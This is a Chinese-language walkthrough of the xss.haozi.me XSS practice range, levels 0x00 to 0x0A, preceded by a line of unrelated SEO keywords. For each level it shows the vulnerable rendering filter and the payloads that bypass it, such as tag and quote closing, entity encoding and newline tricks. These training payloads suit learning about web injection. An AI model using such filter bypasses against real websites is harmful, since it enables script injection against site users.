怎么做免费网站推广,品牌营销策划案例,网络监控软件,江苏中小企业网站建设君衍. 一、靶场介绍二、第一关 0x00 不做限制三、第二关 0x01 文本闭合标签绕过四、第三关 0x02 双引号闭合绕过五、第四关 0x03 过滤括号六、第五关 0x04 编码绕过七、第六关 0x05 注释闭合绕过八、第七关 0x06 换行绕过九、第八关 0x07 删除标签十、第九关 0x08 多加空格绕过… 君衍. 一、靶场介绍二、第一关 0x00 不做限制三、第二关 0x01 文本闭合标签绕过四、第三关 0x02 双引号闭合绕过五、第四关 0x03 过滤括号六、第五关 0x04 编码绕过七、第六关 0x05 注释闭合绕过八、第七关 0x06 换行绕过九、第八关 0x07 删除标签十、第九关 0x08 多加空格绕过十一、第十关 0x09 闭合绕过十二、第十一关 0x0A JS调用 一、靶场介绍
该靶场直接使用网站进去即可练习 https://xss.haozi.me/#/0x00 每关完成弹窗alert(1)即可过关。
二、第一关 0x00 不做限制 源码
function render (input) {return div input /div
}我们即可看到将传入的值直接放div输出来所以我们使用常用的payload即可
scriptalert(1)/scripta hrefjavascript:alert(1)aaa/a点击即可通关。
a href1 onclickalert(1)a/a点击即可通关所以这里通关方法挺多这里不赘述。
三、第二关 0x01 文本闭合标签绕过 源码
function render (input) {return textarea input /textarea
}函数的实现是将 input 参数的值插入到 textarea 标签的起始标签和结束标签之间这样就创建了一个包含指定内容的文本区域textarea。 所以我们这里需要进行闭合逃逸掉。
/textareaa href1 onclickalert(1)a/a点击即可完成触发 当然我们也可以用户不参与
/textareaimg src1 onerroralert(1)/textareascriptalert(1)/script四、第三关 0x02 双引号闭合绕过
本关其实与上一关差不多 可以看到这里并不解析JS同时源码如下
function render (input) {return input typename value input
}函数的实现是将传入的 input 参数值插入到 input 元素的 value 属性中这样就创建了一个包含特定值的输入框input其类型为 “name”。最终返回的字符串包含了完整的 input 元素标签及其属性以及传入的 input 参数值作为输入框的默认值。 所以我们需要进行逃逸这里我们使用双引号闭合掉完成逃逸
1scriptalert(1)/script1 οnclickalert(1)1img src1 οnerrοralert(1)五、第四关 0x03 过滤括号 我们可以看到这里括号没了查看源码
function render (input) {const stripBracketsRe /[()]/ginput input.replace(stripBracketsRe, )return input
}函数首先创建了一个名为 stripBracketsRe 的正则表达式用于匹配输入字符串中的所有括号包括圆括号。然后它使用 replace 方法将输入字符串中的所有括号替换为空字符串即将括号从输入字符串中删除。最后函数返回经过括号删除处理后的字符串。 所以我们需要将括号绕过这里用两种方式使用来进行绕过
scriptalert1/scriptimg src1 onerroralert1同时我们也可以使用编码绕过
img src1 onerrorjavascript:alert#40;1#41;a href1 onclickalert1aaa/a非常多这里就不举例了。
六、第五关 0x04 编码绕过 这里我们可以看到也进行了过滤所以我们查看源码
function render (input) {const stripBracketsRe /[()]/ginput input.replace(stripBracketsRe, )return input
}可以看到比第四关多了一个号不让我们使用来其进行绕过所以我们依旧可以使用编码
svgscriptalert#40;1#41;/script/scgiframe srcdocscriptalert#40;1#41;)/scriptimg src1 onerroralert#40;1#41七、第六关 0x05 注释闭合绕过 我们可以看到给我们注释掉了所以我们查看源码
function render (input) {input input.replace(/--/g, )return !-- input --
}函数使用正则表达式 /–/g 来匹配输入字符串中所有的 “–”HTML注释的结束标记然后通过 replace 方法将这些匹配的字符串替换为 ‘’一个笑脸符号这里用作替换内容的示例。最后函数返回一个字符串其中包含了处理后的输入字符串但注释结束标记已经被替换为 ‘’。 所以这里我们肯定是要闭合掉注释完成逃逸这里可以使用–!:
--!scriptalert(1)/script剩下payload就不列举了肯定是先闭合掉。
八、第七关 0x06 换行绕过 本关我们很明显可以看到首先进行了过滤查看源码
function render (input) {input input.replace(/auto|on.*|/ig, _)return input value1 ${input} typetext
}函数使用了正则表达式 /auto|on.*|/ig 来匹配输入字符串中的三种模式auto、on 后跟任意字符直到等号 以及 。然后通过调用字符串的 replace 方法将匹配到的内容替换为下划线 _。最后函数返回一个包含了 input 元素的字符串。在该字符串中input 元素的 value 属性被设置为 1而其他属性则由参数 input 决定经过处理后使用。这样函数的主要作用是将输入字符串中的 auto、以 on 开头后接任意字符直到等号 以及 这三种模式替换为下划线 _然后构造一个 input 元素的字符串返回。 但是并没有匹配换行符所以我们也可以使用回车来进行绕过
onclick
alert(1)点击即可触发
typeimage src onerror
alert(1)当然我们这里也可以将输入框的类型变为图像输入同时指定图像url这里直接为空从而使其执行报错onerror中的内容图片加载失败即可完成alert(1)函数的触发从而完成1的弹窗。
九、第八关 0x07 删除标签
我们使用闭合以及最简单的弹窗来观察过滤 查看源码
function render (input) {const stripTagsRe /\/?[^]/giinput input.replace(stripTagsRe, )return article${input}/article
}函数首先创建了一个名为 stripTagsRe 的正则表达式用于匹配输入字符串中的所有 HTML 标签包括标签的起始标记 tag 和结束标记 /tag以及标签中的属性。然后通过调用字符串的 replace 方法将匹配到的标签及其属性替换为空字符串从而删除了所有 HTML 标签。最后函数返回一个包含在 article 元素中的字符串其中的内容是经过删除 HTML 标签处理后的 input 字符串。
img src onerroralert(1)svg/onloadalert(1)这里我们依旧可以完成绕过是因为render函数虽然删除了HTML标签丹斯onerror事件处理并不需要依附于任何实际的HTML标签来进行触发所以第一个我们尝试访问加载图像没有则事件触发从而完成弹窗。 十、第九关 0x08 多加空格绕过
我们依旧尝试闭合弹窗观察回显 查看源码
function render (src) {src src.replace(/\/style/ig, /* \u574F\u4EBA */)return style${src}/style
}函数首先使用正则表达式 /\/style/ig 来匹配输入字符串中的 /style 标记。然后通过调用字符串的 replace 方法将匹配到的 /style 标记替换为一个注释 /* 垃圾人 */。在注释中使用了 Unicode 转义序列 \u574F\u4EBA其对应的是中文字符 “坏人”。这样函数将 /style 替换为了注释 “/* 垃圾人 */”。最后函数返回一个包含在 style 元素中的字符串。 所以这里我们可以使用多加空格来进行绕过
/style scriptalert(1)/script同时我们也可以利用正则不能匹配空格来进行绕过
/style
scriptalert(1)/script十一、第十关 0x09 闭合绕过
本关我们需要使用到该靶场提供的一个JS
https://xss.haozi.me/j.js以及我们查看源码可得
function render (input) {let domainRe /^https?:\/\/www\.segmentfault\.com/if (domainRe.test(input)) {return script src${input}/script}return Invalid URL
}函数首先定义了一个正则表达式 domainRe用于匹配以 http:// 或 https:// 开头后跟 www.segmentfault.com 的 URL。然后函数使用 domainRe.test(input) 来测试输入的 URL 是否符合该正则表达式。如果符合则返回一个包含该 URL 的 script 标签否则返回 Invalid URL。在返回的 script 标签中${input} 被插入到了 src 属性中这样可以动态加载指定 URL 的脚本。如果输入的 URL 符合 domainRe 定义的格式则会返回类似于 script srchttps://www.segmentfault.com/script 这样的字符串否则会返回 Invalid URL。 所以这里我们需要使用该网址头部
http://www.segmentfault.com.haozi.me/j.js我们即可利用服务器提供的JS完成弹窗。当然如果不清楚官方提供的JS我们也可以直接闭合使用别的方式完成弹窗
https://www.segmentfault.com/scriptimg src οnerrοralert(1)这里我们直接使用了闭合然后使用img标签来完成图像的调用从而报错完成触发。
https://www.segmentfault.com/scriptscriptalert(1)/script闭合逃逸掉我们就可以使用多种payload完成触发。
十二、第十一关 0x0A JS调用
本关如果我们采用上一关闭合的payload可以看到 这里是被实体编码了从而没法完成调用所以我们查看源码
function render (input) {function escapeHtml(s) {return s.replace(//g, amp;).replace(//g, #39;).replace(//g, quot;).replace(//g, lt;).replace(//g, gt;).replace(/\//g, #x2f)}const domainRe /^https?:\/\/www\.segmentfault\.com/if (domainRe.test(input)) {return script src${escapeHtml(input)}/script}return Invalid URL
}首先定义了一个名为 escapeHtml 的内部函数用于转义 HTML 中的特殊字符。该函数将 , , , , , / 分别替换为它们对应的 HTML 实体以防止 XSS 攻击和 HTML 注入等安全问题。接着定义了一个正则表达式 domainRe用于匹配以 http:// 或 https:// 开头后跟 www.segmentfault.com 的 URL。然后使用 domainRe.test(input) 来测试输入的 URL 是否符合该正则表达式。如果输入的 URL 符合 domainRe 定义的格式则调用 escapeHtml 函数对输入的 URL 进行 HTML 转义并将其插入到 script 标签的 src 属性中最终返回类似于 script srchttps://www.segmentfault.com/script 的字符串。如果输入的 URL 不符合格式则返回 ‘Invalid URL’ 字符串。 所以本关其实与上一关差不多但是我们如果采用闭合那么将会被实体编码从而无法完成调用。本关我们只能采用使用官方的JS进行调用
https://www.segmentfault.com.haozi.me/j.js从而完成我们的弹窗触发。